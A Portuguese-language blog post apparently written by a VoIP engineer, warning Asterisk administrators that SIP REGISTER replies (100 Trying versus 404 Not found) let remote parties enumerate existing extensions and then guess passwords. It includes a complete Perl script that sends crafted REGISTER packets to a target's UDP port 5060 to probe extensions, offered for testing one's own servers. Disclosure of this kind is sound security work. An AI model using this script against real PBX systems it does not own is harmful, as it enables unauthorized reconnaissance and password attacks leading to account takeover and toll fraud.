Arquivos
Sip Protocol Danger
Olá !!
Dia do SysAdmin então pq não falar de segurança !
Quem nunca se deparou com tentativas de ataque que atire a primeira pedra rsrs. No mundo da voz sobre IP a coisa não poderia ser diferente, meu Alerta vai para a comunidade Asterisk já faz alguns meses que resolvi colocar a prova como se comporta o protocolo SIP.
E o review que consegui foi alarmante, imagine você descobrir remotamente via porta SIP quais ramais existem em seu PBXIP e pior que isso ainda poder usar dicionários para chutar as senhas, pois bem isso é possóvel e grave..
Vamos aos meus testes:
-Configurar um Server Asterisk
-Criar ramais
-Deixar a porta 5060 (SIP) em listem para a internet
-Criar um script Perl para conectar na porta 5060 UDP e enviar o método de registro documentando pela arquitetura SIP e pegar o Retorno.
Detalhe conseguia saber os ramais existentes remotamente analisando a simples resposta do protocolo …
Testando ramais não existentes no Servidor Asterisk a resposta foi:
Retorno ‘SIP/2.0 404 Not found …..”
Segue tela do retorno
No Servidor que recebe o ataque em meus logs tenho
[Jul 30 18:50:08] NOTICE[2941] chan_sip.c: Registration from ‘sip:ramal@IP_server <sip:ramal@IP_server>’ failed for ‘Ip_remoto’ – No matching peer found
Owww já sei que este ramal nao existe no servidor entao resolvi colocar um existente e recebo na tela :
Retorno ‘SIP/2.0 100 Trying
Pronto temos um padrão retorno 100 ramal Existente retorno 404 ramal Inexistente.
Parece perigoso o pior de tudo isso é que apos isso vc pode passar via Socket tentativas de senha e verificar o retorno, novamente perigo eminente…
bom para quem quer testar seus servidores vou colocar o script aqui ..
#!/usr/bin/perl
use Socket;
sub envia {
$servidor_ip = shift;
$ramal = shift;
$sip_to = shift;
$sip_from = “asterisk”;
$tm = time();
$call_id = $tm . “msgto$sip_to”;
$httptime = `date -R`;
$MESG =
“REGISTER sip:$servidor_ip SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:60576;branch=z9hG4bK-d87543-061cb00346133471-1–d8754 3-;rport
Max-Forwards: 70
Contact: <sip:$ramal\@127.0.0.1:60576;rinstance=f0265fa8a56b482e>
To: sip:$ramal\@$servidor_ip <sip:$ramal\@$servidor_ip>
From: <sip:$ramal\@127.0.0.1>;tag=3f0fc020
Call-ID: c355bd6a0c2dda04MGY1MmU2YjE2MjY4ZTk1YjNiMWE4ZGQxYzdhZDU2MTA.
CSeq: 5 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INF O
User-Agent: X-Lite release 1002tx stamp 29712
Content-Length: 0
“;
$proto = getprotobyname(‘udp’);
socket( SOCKET, PF_INET, SOCK_DGRAM, $proto );
$iaddr = inet_aton(“$servidor_ip”);
$paddr = sockaddr_in( 5060, $iaddr );
bind( SOCKET, $paddr );
$port = 5060;
$hisiaddr = inet_aton($servidor_ip);
$hispaddr = sockaddr_in( $port, $hisiaddr );
print “Enviado\n”;
if ( send( SOCKET, $MESG, 0, $hispaddr ) ) {
print “envio para “, “$servidor_ip”, ” com sucesso”, “\n”;
my $ptime;
my $src = recv(SOCKET, $ptime, 128, 0);
print “\nRetorno ‘”, $ptime,”‘\n”;
}
else { print “envio”, “$servidor_ip”, ” falhou”, “\n”; }
}
envia(“IP_REMOTO_AQUI”, “RAMAL_REMOTO_AQUI”, “1005″);
exit;
[]‘s
Eng Eder de Souza
